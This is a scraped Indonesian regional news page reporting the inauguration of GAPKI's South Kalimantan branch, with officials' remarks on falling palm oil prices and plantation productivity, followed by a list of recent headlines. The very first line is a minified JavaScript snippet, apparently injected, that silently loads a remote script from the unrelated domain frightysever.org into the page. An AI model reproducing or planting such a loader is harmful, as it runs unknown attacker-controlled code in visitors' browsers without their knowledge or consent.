(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

GAPKI Kalsel Dilantik, Tak Menguntungkan Akibat Fluktuasi, Industri Sawit Belum Stabil


BANJARMASIN, Pengukuhan dan pelantikan pengurus Gabungan Pengusaha Kelapa Sawit Indonesia (GAPKI) Cabang Kalsel 2019-2024 berlangsung di Ballroom Callamus Hotel Rattan Inn Banjarmasin, Rabu (2/10). Menduduki posisi sebagai ketua, Edy Sapta Binti.

GAPKI mempunyai peran besar untuk memperkuat organisasi itu sendiri dan merangkul lebih banyak pengusaha perkebunan kelapa sawit di tengah penjualan minyak sawit yang tidak menguntungkan saat ini.

Ada 50 anggota GAPKI Kalsel dan 100 lebih pengusaha perkebunan sawit. Dalam jangka panjang Edy berniat untuk merangkul para pengusaha ini agar dapat bergabung dan menikmati keuntungan di dalam GAPKI itu sendiri. Meski diakui Edy potensi sawit saat ini tidak menguntungkan akibat fluktuasi.

“Tidak menguntungkan sementara ini. Hanya bisa bertahan saja. Pengaruh global, apalagi isu negatif karhutla. Harga turun,” beber Edy.

Masa kestabilan industri perkebunan sawit untuk GAPKI sendiri adalah lima tahun lalu tutur Edy. Hingga saat ini ia masih belum tahu persis kapan industri perkebunan sawit ini akan kembali stabil mengingat perang dagang Amerika dan Cina masih berlanjut. Di samping juga isu kampanye hitam mengenai kasus kebakaran hutan dan lahan.

Berbeda dengan Edy, Kadis Perkebunan dan Peternakan Provinsi Kalsel, Suparmi membeberkan, harga sawit cenderung meningkat ke angka Rp 1.200 meski sempat jatuh beberapa waktu lalu Kalsel.

“Dengan harga segitu mudah-mudahan masyarakat masih bisa bisa untung. Kecuali yang menjual ke tengkulak, itu ada yang jual di bawah Rp1000,” ungkapnya.

Produktivitas CPO di Kalsel juga ada peningkatan mencapai 1 juta 120 ribu per kg per tahun dengan luasan 425 ribu hektare. Guna melakukan peningkatan ini, pihaknya melakukan pemberhentian pembukaan pabrik sawit di Kalsel dan melakukan peremajaan perkebunan sawit masyarakat.

“Dengan benih baru unggul, upaya per hektare sekitar 39 ribu kg per hekatre per tahun. Dulu 8 sampai 21, sekarang dengan bibit baru tembus 39. Per pohon bisa hasilkan 39 Kg dengan bibit unggul,” ungkap Surapmi. (mario)

Reporter : Mario
Editor : Bie


Desy Arfianty

Recent Posts

Hari Bela Negara 19 Desember, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More

46 menit ago

Puncak Libur Nataru di Bandara Syamsudin Noor Diprediksi 22-23 Desember, Weekend Mencapai 5.700 Penumpang

KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More

16 jam ago

Pegawai Pegadaian di Banjarmasin Jadi Terdakwa Korupsi, Ini Modusnya

KANALKALIMANTAN.COM, BANJARMASIN - Kasus korupsi menyeret seorang pegawai BUMN PT Pegadaian di Banjarmasin Provinsi Kalimantan… Read More

17 jam ago

Raperda Produk Halal UMKM, Pansus Target Selesai Februari 2025

KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru tengah menggodok Rancangan Peraturan Daerah… Read More

20 jam ago

BLK Balangan Gelar Pelatihan Berbasis Kompetensi

KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More

22 jam ago

Kanit Reskrim di Paser Tak Bernyawa Dipukul Warga, Ini Kronologinya

KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More

22 jam ago

This website uses cookies.